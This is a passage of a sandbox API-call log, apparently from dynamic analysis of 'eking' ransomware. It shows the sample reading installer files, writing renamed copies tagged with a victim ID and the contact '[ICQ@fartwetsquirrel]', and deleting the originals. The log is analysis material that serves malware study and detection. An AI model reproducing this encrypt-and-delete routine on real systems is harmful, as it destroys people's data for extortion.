(lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0083.530] ReadFile (in: hFile=0x32c, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xd4b8, lpOverlapped=0x0) returned 1 [0083.546] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xd4c0, lpOverlapped=0x0) returned 1 [0083.548] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0083.548] CloseHandle (hObject=0x32c) returned 1 [0083.548] CloseHandle (hObject=0x330) returned 1 [0083.551] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0083.552] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.553] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=18264) returned 1 [0083.553] CloseHandle (hObject=0x330) returned 1 [0083.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0083.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0083.553] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.553] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.553] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.553] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.554] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c [0083.554] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x4758, lpOverlapped=0x0) returned 1 [0083.568] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x4760, lpOverlapped=0x0) returned 1 [0083.570] WriteFile (in: hFile=0x32c, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0083.570] CloseHandle (hObject=0x330) returned 1 [0083.570] CloseHandle (hObject=0x32c) returned 1 [0083.572] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0083.573] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.589] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=77680) returned 1 [0083.589] CloseHandle (hObject=0x330) returned 1 [0083.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0083.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0083.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.590] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0083.591] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x12f70, lpOverlapped=0x0) returned 1 [0083.594] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x12f80, lpOverlapped=0x0) returned 1 [0083.597] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0083.598] CloseHandle (hObject=0x330) returned 1 [0083.598] CloseHandle (hObject=0x310) returned 1 [0083.601] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0083.603] SetEvent (hEvent=0x2cc) returned 1 [0083.603] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0083.603] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=3859) returned 1 [0083.603] CloseHandle (hObject=0x310) returned 1 [0083.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0083.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0083.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0083.604] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.604] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.604] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0083.606] ReadFile (in: hFile=0x310, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xf13, lpOverlapped=0x0) returned 1 [0083.608] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf20, lpOverlapped=0x0) returned 1 [0083.609] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0083.609] CloseHandle (hObject=0x310) returned 1 [0083.609] CloseHandle (hObject=0x330) returned 1 [0083.621] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0083.622] SetEvent (hEvent=0x2cc) returned 1 [0083.623] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.623] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=76818) returned 1 [0083.623] CloseHandle (hObject=0x330) returned 1 [0083.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0083.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 0x80 [0083.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0083.624] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0083.624] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.624] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0083.624] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0083.624] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x12c12, lpOverlapped=0x0) returned 1 [0085.554] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x12c20, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x12c20, lpOverlapped=0x0) returned 1 [0085.557] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0085.557] CloseHandle (hObject=0x330) returned 1 [0085.557] CloseHandle (hObject=0x310) returned 1 [0085.564] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml")) returned 1 [0085.567] SetEvent (hEvent=0x2cc) returned 1 [0085.567] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0085.568] GetFileSizeEx (in: hFile=0x294, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=14168) returned 1 [0085.568] CloseHandle (hObject=0x294) returned 1 [0085.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0085.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 0x80 [0085.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.568] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x294 [0085.568] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.568] SetFilePointerEx (in: hFile=0x294, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.568] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0085.569] ReadFile (in: hFile=0x294, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x3758, lpOverlapped=0x0) returned 1 [0085.571] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x3760, lpOverlapped=0x0) returned 1 [0085.573] WriteFile (in: hFile=0x310, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0085.573] CloseHandle (hObject=0x294) returned 1 [0085.573] CloseHandle (hObject=0x310) returned 1 [0085.574] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll")) returned 1 [0085.576] SetEvent (hEvent=0x2cc) returned 1 [0085.576] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.578] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=4015) returned 1 [0085.578] CloseHandle (hObject=0x330) returned 1 [0085.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0085.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0085.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.578] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.578] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.578] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.578] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x318 [0085.581] ReadFile (in: hFile=0x330, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0xfaf, lpOverlapped=0x0) returned 1 [0085.583] WriteFile (in: hFile=0x318, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xfb0, lpOverlapped=0x0) returned 1 [0085.584] WriteFile (in: hFile=0x318, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0xf2, lpOverlapped=0x0) returned 1 [0085.584] CloseHandle (hObject=0x330) returned 1 [0085.584] CloseHandle (hObject=0x318) returned 1 [0085.586] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0085.587] SetEvent (hEvent=0x2cc) returned 1 [0085.587] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0085.588] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=80254) returned 1 [0085.588] CloseHandle (hObject=0x318) returned 1 [0085.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0085.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80 [0085.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.588] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0085.588] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.588] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.588] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0085.589] ReadFile (in: hFile=0x318, lpBuffer=0x398d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x35bfd5c, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesRead=0x35bfd5c*=0x1397e, lpOverlapped=0x0) returned 1 [0085.773] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x13980, lpOverlapped=0x0) returned 1 [0085.776] WriteFile (in: hFile=0x330, lpBuffer=0x398d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35bfd40, lpOverlapped=0x0 | out: lpBuffer=0x398d020*, lpNumberOfBytesWritten=0x35bfd40*=0x102, lpOverlapped=0x0) returned 1 [0085.777] CloseHandle (hObject=0x318) returned 1 [0085.777] CloseHandle (hObject=0x330) returned 1 [0085.787] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1 [0085.789] SetEvent (hEvent=0x2cc) returned 1 [0085.789] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.801] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x35bfd88 | out: lpFileSize=0x35bfd88*=60816) returned 1 [0085.801] CloseHandle (hObject=0x330) returned 1 [0085.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0085.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0085.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0085.801] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0085.801] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.802] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35bfd50 | out: lpNewFilePointer=0x0) returned 1 [0085.802] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: 